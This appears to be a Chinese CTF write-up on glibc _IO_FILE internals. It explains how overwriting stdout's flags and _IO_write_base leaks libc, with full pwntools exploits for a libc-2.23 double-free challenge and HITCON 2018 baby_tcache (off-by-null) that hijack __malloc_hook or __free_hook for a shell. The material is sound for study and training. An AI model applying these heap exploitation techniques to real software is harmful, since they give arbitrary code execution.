0x00 背景
_IO_FILE
攻击从exp
中来看很简单,但其背后的含有并不简单,可以用复杂来形容,也很模板化,在比赛中有几种比较常见的形式,除了House of orange
,还有用它来泄露libc
地址(此文章重点讲解),接下来一起来看看,动手调一调,给自己留个深刻的印象
0x01 _IO_FILE到底是个啥?
在一开始接触这个东西的时候,真的是一头雾水,各种结构体,晕头转向,其实IO_FILE的本质就是三个基本的文件流,stdin、stdout、stderr
,这三个东西我们应该很常见,标准输入,标准输出,标准错误,在程序初始化的时候就已经默认生成好了,所以在通常情况下,我们再打开一个文件流的fd
为3
,那么这些文件流是通过什么来索引的呢?答:IO_list_all
会通过单项列表保存所有的文件流:
_IO_FILE
的源码在/usr/include/x86_64-linux-gnu/bits/libio.h
或者libio/libio.h
,可以去看看,里面有各种各样的IO函数,但我们只关注_IO_FILE
相关的函数,下面是_IO_FILE
的函数:
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
...//下面为一些宏
};
在_IO_FILE
下面可以看到它的老爸_IO_FILE_plus
,但并没有它的函数定义,定义在libio/libioP.h
里面
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;//虚函数表
};
_IO_FILE file
就是刚刚的那个结构体,_IO_jump_t
如下,此虚表在House of orange
用的比较多:
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
_IO_FILE file
大体就这样,可以考察下面的链接再加深一下:
好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc
接下来就是利用_IO_FILE
泄露libc
的原理
0x02 如何用_IO_FILE泄露libc
泄露的本质只是利用它原来的输出,只是可以任意地址写了之后改写了一些参数,让它本来的输出呈现出不一样的结果罢了!
下面就用puts
函数来讲解,如何构造一些巧妙的值来达到泄露libc
目的,puts
源码如下:
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout);
return result;
}
调用这么多函数最终是调用了vtable
中的JUMP_FIELD(_IO_xsputn_t, __xsputn);
,动态的结果也是这样(好像动调的前面都有个_file
):
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;
if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
return n - to_do;
}
接下来就是_IO_OVERFLOW
,进到_IO_OVERFLOW
就是泄露的重点了!
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
我们的最终的目的就是通过_IO_do_write
来泄露libc
,那要到达这个分支,需要绕过如下判断:
if (f->_flags & _IO_NO_WRITES)
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
上面两个分支都是避免进入的,我们只要进入if (ch == EOF)
这个判断里面,查找一些宏定义之后就可以算出flag
的值了,以后只要用这个flag
的值就能进入 _IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);
这个分支了:
_flags = 0xfbad0000
_flags &= ~_IO_NO_WRITES ==> _flags = 0xfbad0000
_flags |= _IO_CURRENTLY_PUTTING ==> _flags = 0xfbad0800
既然能正常进入_IO_do_write
,我们进去看看,发现有个if {} else if{}
,这会绕不过了,只能看看进到那个分支里面对结果影响小,其实不用说,一看fp->_offset = _IO_pos_BAD;
的影响就小,毕竟就一条语句,下面那个分支就很危险了,这里引用其他大佬的一段话:
这条分支我们尽可能的不碰,原因有两点:
第一,其实只要满足判断中的条件
fp->_IO_read_end = fp->_IO_write_base
即可绕过这里的判断,使之相等的操作并不是没有可能,但是在实际操作中实现的几率比较小。一般在做这种题的时候都会伴随着随机化保护的开启,进行攻击的时候,我们一般采用的都是覆盖末位字节的方式造成偏移,因为即使随机化偏移也会存在0x1000对齐。但是这时候就会遇到一个很尴尬的情况,_IO_read_end
和_IO_write_base
存放的地址是由末位字节和其他高字节共同组成的,其他高字节由于随机化的缘故无法确定,所以何谈使两个成员变量中的地址相等呢第二,可以看到
else if
这条分支中调用了_IO_SYSSEEK
系统调用,即lssek
函数,如果我们将_IO_read_end
的值设置为0,那么_IO_SYSSEEK
的二参fp->_IO_write_base - fp->_IO_read_end
得出的数值就有可能非常大,这就会导致sleek
函数执行不成功导致退出,这是因为载入内存的数据范围可能并不大,但是经过sleek
函数修改过大的偏移之后超过了数据范围的边界。一旦sleek
函数执行不成功导致退出,那么就不会到达我们想要的_IO_SYSWRITE
系统调用了
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
既然要使得判断成立,那就|_IO_IS_APPENDING
它就可以了:
_flags |= _IO_IS_APPENDING # _flags = 0xfbad1800
所以完整的调用链为:puts -> IO_puts -> _IO_new_file_xsputn -> _IO_new_file_overflow -> _IO_do_write -> new_do_write -> _IO_SYSWRITE
能够成功调用_IO_SYSWRITE
之后还有一个问题,就是输出的大小问题,回看之前的IO_FILE
结构体中有个叫_IO_write_base;
,其实只要修改它的大小稍微小一点,就能输出与libc
挨得很近的值,至于上面几个关于read
的成员,覆盖成0就好,其实不太明白这其中的道理,猜测是为了放置它搅屎吧,设置成0简单又粗暴....
0x03 题目
在比赛中有两种情况来泄露,一个是在libc-2.23
,另一个是在libc-2.27
下,本质就是一个用fastbin
来劫持IO_2_1_stdout
,一个用tache
来劫持IO_2_1_stdout
,fastbin
就得找一个/x7f
大小的堆块才能链入fastbin
,tache
直接修改fd
指针即可
libc-2.24
2021·莲城杯_free_free_free
题目本身不难,但是在比赛的时候由于没有布置好堆风水导致做的很难受,学到一个判断libc
版本的方法:
zyen@ubuntu:~/Documents/pwn/competition/laincheng/free_free_free$ strings libc-2.23.so | grep "GNU"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
GNU Libidn by Simon Josefsson
zyen@ubuntu:~/Documents/pwn/competition/laincheng/free_free_free$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu11.3) 2.23
Copyright (C) 2016 自由软件基金会。
这是一个自由软件;请见源代码的授权条款。本软件不含任何没有担保;甚至不保证适销性
或者适合某些特殊目的。
由 Roland McGrath 和 Ulrich Drepper 编写。
保护全开就不说了,程序只有两个函数,现在比赛题越来越缺胳膊断腿的了,广东省强网杯的girlfriend
就一个add
....
add
函数,除了限制size
没有啥问题:
unsigned __int64 sub_AAF()
{
int i; // [rsp+8h] [rbp-18h]
int size; // [rsp+Ch] [rbp-14h]
void *nbytes_4; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; qword_202040[i]; ++i )
;
puts("size> ");
size = sub_A5B();
if ( size < 0 || size > 127 )
{
puts("size error");
}
else
{
nbytes_4 = malloc(size);
qword_202040[i] = nbytes_4;
puts("message> ");
read(0, nbytes_4, (unsigned int)size);
}
return __readfsqword(0x28u) ^ v4;
}
free
函数就是漏洞点,存在double free
:
unsigned __int64 sub_B7E()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("idx> ");
v1 = sub_A5B();
free((void *)qword_202040[v1]);
puts("Now chunk is freed");
return __readfsqword(0x28u) ^ v2;
}
需要注意的是申请0x7f
大小的堆块,实际上是申请0x90
大小的堆块,当它free
的时候就会进入unsorted bin
里面
add(0x7f,"0"*8)
add(0x60,"1"*8)
add(0x60,"2"*8)
free(0)
此时在申请0x18
大小的堆块的时候就会对刚刚进入unsorted bin
的堆块进行切割,剩下0x70
大小的堆块就会指向main_arena+88
,此时只要再申请回来就能修改main_arena+88
为IO_stdout-0x43
的地方,到这就已经成功一大半了
add(0x18,"3"*8)
可以看到IO_stdout-0x43
处有个\x7f
大小的堆块
add(0x60,"\xdd\x45")
之后就是double free
将之前修改了main_arena+88
的堆块给链进fast bin
,之后就可以修改IO_FILE
的结构体啦!
free(2)
free(1)
free(2)
add(0x60,'\x20')
add(0x60)
add(0x60)
add(0x60)
下面两个图可以看到,只要稍微将IO_write_base
的大小稍微改小一点就能libc
payload = ""
payload += chr(0)*(0x33)
payload += p64(0xfbad3887)
payload += p64(0)*3
payload += "\x88" #_chain filed
# gdb.attach(io)
add(0x68,payload)
之后就是__malloc_hook
写one_gadget
,并且用realloc
来调整栈帧,不多说了...
完整exp:
from pwn import *
io = process('./free_free_free')#,env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF('./free_free_free')
libc = ELF("./libc-2.23.so")
def menu(opt):
io.sendlineafter("> ",str(opt))
def add(size,data='zyen'):
menu(1)
io.sendlineafter("size> \n",str(size))
io.sendafter("message> ",data)
def free(idx):
menu(2)
io.sendlineafter("idx> ",str(idx))
def exp():
add(0x7f)
add(0x60)
add(0x60)
free(0)
add(0x18)
add(0x60,"\xdd\x45")
free(2)
free(1)
free(2)
add(0x60,'\x20')
add(0x60)
add(0x60)
add(0x60)
payload = ""
payload += chr(0)*(0x33)
payload += p64(0xfbad3887)
payload += p64(0)*3
payload += "\x88" #_chain filed
# gdb.attach(io)
add(0x68,payload)
leak_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
print("[*]leak_addr => "+hex(leak_addr))
libc_base = leak_addr - 0x3c48e0
print("[*]libc_base =>"+hex(libc_base))
one_gadget = libc_base + 0x4527a
malloc_hook = libc_base +libc.sym["__malloc_hook"]-0x23
realloc = libc_base + libc.sym['realloc']
free(2)
free(1)
free(2)
add(0x60,p64(malloc_hook) )
add(0x60)
add(0x60)
payload = ""
payload += chr(0)*(0x13-8)
payload += p64(one_gadget)
payload += p64(realloc+16)
add(0x68,payload)
menu(1)
io.sendline('17')
io.interactive()
if __name__ == '__main__' :
a = 16
while(a) :
try :
io = process('./free_free_free')#,env={"LD_PRELOAD":"./libc-2.23.so"}
elf = ELF('./free_free_free')
libc = ELF('./libc-2.23.so')
# context.log_level = 'debug'
exp()
a -= 1
except Exception as e :
print e
else :
io.interactive()
exit()
libc-2.27
HITCON 2018 PWN baby_tcache
程序简单的离谱,第一次看见只有两个选项的菜单题:
add
函数里面的chunk_ptr[size] = 0;
存在off-by-null
,真的是不做多点题,对漏洞的敏感度真的不高,看半天没看出来....
int add()
{
_QWORD *v0; // rax
int i; // [rsp+Ch] [rbp-14h]
_BYTE *chunk_ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 size; // [rsp+18h] [rbp-8h]
for ( i = 0; ; ++i )
{
if ( i > 9 )
{
LODWORD(v0) = puts(":(");
return v0;
}
if ( !chunk_list[i] )
break;
}
printf("Size:");
size = read();
if ( size > 0x2000 )
exit(-2);
chunk_ptr = malloc(size);
if ( !chunk_ptr )
exit(-1);
printf("Data:");
read_0(chunk_ptr, size);
chunk_ptr[size] = 0;
chunk_list[i] = chunk_ptr;
v0 = chunk_size;
chunk_size[i] = size;
return v0;
}
free
就没啥问题:
int del()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf("Index:");
v1 = read();
if ( v1 > 9 )
exit(-3);
if ( chunk_list[v1] )
{
memset(chunk_list[v1], 218, chunk_size[v1]);
free(chunk_list[v1]);
chunk_list[v1] = 0LL;
chunk_size[v1] = 0LL;
}
return puts(":)");
}
那既然有off-by-null
,那利用的方法也就很明确了!做堆叠,做法也是十分的简单,这里就不赘述了,忘了就去看看off-by-one
:
add(0x500) #0
add(0x70) #1
add(0x5f0) #2
add(0x20) #3
free(0)
free(1)
add(0x78,'A'*0x70+p64(0x590))
free(2)
堆叠完成之后,在tache
里面链入main_arena
,就可以修改它的后俩个比特劫持到IO_2_1_stdout
,虽然程序开了ASLR,但它的后12个bit
是始终不会变的,也就是说还有4个bit
会变,那怎么办呢?只能猜一个值然后来爆破,几率为1/16
(一开始对爆破感觉好厉害的样子,其实就是写个try except
....)
完整exp:
from pwn import *
def menu(opt):
p.sendlineafter("Your choice: ",str(opt))
def add(size,data):
menu(1)
p.sendlineafter("Size:",str(size))
p.sendafter("Data:",data)
def free(idx):
menu(2)
p.sendlineafter("Index:",str(idx))
def exp():
add(0x500,'A'*0x500) #0
add(0x70,'A'*0x70) #1
add(0x5f0,'A'*0x500) #2
add(0x20,'A') #3
free(0)
free(1)
add(0x78,'A'*0x70+p64(0x590))
free(2)
free(0)
add(0x500,'A'*0x500)
add(0x80,'\x60\xb7')
add(0x70,'A')
add(0x78,p64(0xfbad1800)+p64(0x0)*3+'\x90') #change the _flag
#gdb.attach(p)
data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 4114403
one_gadget = libc_base + 0x4f322 #0x4f2c5 0x4f322 0x10a38c
free_hook = libc_base + libc.symbols['__free_hook']
log.success('libc base :'+hex(libc_base))
#gdb.attach(p)
free(1)
free(2)
add(0x80,p64(free_hook))
# gdb.attach(p)
add(0x80,p64(free_hook))
add(0x80,p64(one_gadget))
free(0)
#gdb.attach(p)
if __name__ == '__main__' :
a = 16
while(a) :
try :
p = process('./baby_tcache',env={"LD_PRELOAD":"./libc-2.27.so"})#,env={"LD_PRELOAD":"./libc-2.27.so"}
elf = ELF('./baby_tcache')
libc = ELF('./libc-2.27.so')
# context.log_level = 'debug'
exp()
a -= 1
except Exception as e :
print e
else :
p.interactive()
exit()
参考文章: